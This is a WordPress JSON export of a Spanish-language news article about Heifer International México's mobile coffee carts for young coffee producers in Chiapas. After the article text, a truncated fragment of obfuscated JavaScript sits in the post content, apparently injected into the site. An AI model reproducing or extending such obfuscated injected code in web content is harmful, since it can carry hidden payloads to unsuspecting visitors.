{"id":23012,"date":"2025-07-17T19:21:47","date_gmt":"2025-07-17T19:21:47","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=23012"},"modified":"2025-07-17T19:21:48","modified_gmt":"2025-07-17T19:21:48","slug":"cafeterias-moviles-impulsan-el-cafe","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=23012","title":{"rendered":"CAFETER\u00cdAS M\u00d3VILES IMPULSAN EL CAF\u00c9"},"content":{"rendered":"\n
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Heifer M\u00e9xico conecta a j\u00f3venes con productores para fortalecer la cadena<\/p>\n\n\n\n

17 de julio del 2025. Con el objetivo de fortalecer la cadena de valor del caf\u00e9 y fomentar el emprendimiento entre j\u00f3venes, Heifer International M\u00e9xico puso en marcha el Proyecto Cafeter\u00edas M\u00f3viles, una iniciativa vinculada al programa Promesa Caf\u00e9 que busca integrar a nuevas generaciones en la comercializaci\u00f3n del arom\u00e1tico.
La estrategia contempla la entrega de 14 cafeter\u00edas m\u00f3viles en estados del sur-sureste del pa\u00eds, transformando la forma en que el caf\u00e9 llega al consumidor final. Recientemente, dos unidades fueron entregadas a j\u00f3venes de las organizaciones PRODUCTORES DE CAF\u00c9 CAPIT\u00c1N LUIS A. VIDAL SPR DE RL y Caf\u00e9 Oro de la Monta\u00f1a, ambas en Jaltenango.
Silmar Velasco, coordinador t\u00e9cnico de Caf\u00e9 Oro de la Monta\u00f1a, destac\u00f3 que estas unidades representan una oportunidad para que los j\u00f3venes participen m\u00e1s all\u00e1 de la producci\u00f3n, involucr\u00e1ndose en la venta directa y a\u00f1adiendo valor desde el origen. Por su parte, Filem\u00f3n S\u00e1nchez P\u00e9rez, presidente de PRODUCTORES DE CAF\u00c9 CAPIT\u00c1N, expres\u00f3 que este proyecto da herramientas a las nuevas generaciones para asumir un papel protag\u00f3nico en el desarrollo de sus comunidades.
Los beneficiarios Dania Gonz\u00e1lez y Berny V\u00e1squez reconocieron la iniciativa como una puerta para crecer en el mundo del caf\u00e9 y compartir la historia detr\u00e1s de cada taza. \u201cEstamos listos para llevar el sabor de nuestro caf\u00e9 directamente a la gente\u201d, se\u00f1al\u00f3 Berny.
Hasta ahora, Heifer ha entregado ocho unidades \u2014cuatro en Puebla y cuatro en Chiapas\u2014 y prev\u00e9 distribuir seis m\u00e1s en Oaxaca, beneficiando directamente a igual n\u00famero de organizaciones aliadas e impactando indirectamente a m\u00e1s de 1,600 productores en estos tres estados.
David Olvera, director de Promesa Caf\u00e9, subray\u00f3 que con estas cafeter\u00edas m\u00f3viles se forma la primera generaci\u00f3n de mujeres y j\u00f3venes emprendedores, l\u00edderes y solidarios, fortaleciendo el ingreso de las familias cafetaleras e impulsando su participaci\u00f3n en mercados m\u00e1s justos.
El proyecto se alinea con la visi\u00f3n de Heifer Internacional M\u00e9xico de transformar los sistemas alimentarios hacia modelos sostenibles, mediante un enfoque de paisaje que prioriza la sostenibilidad, inclusi\u00f3n y colaboraci\u00f3n estrat\u00e9gica para un impacto duradero.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

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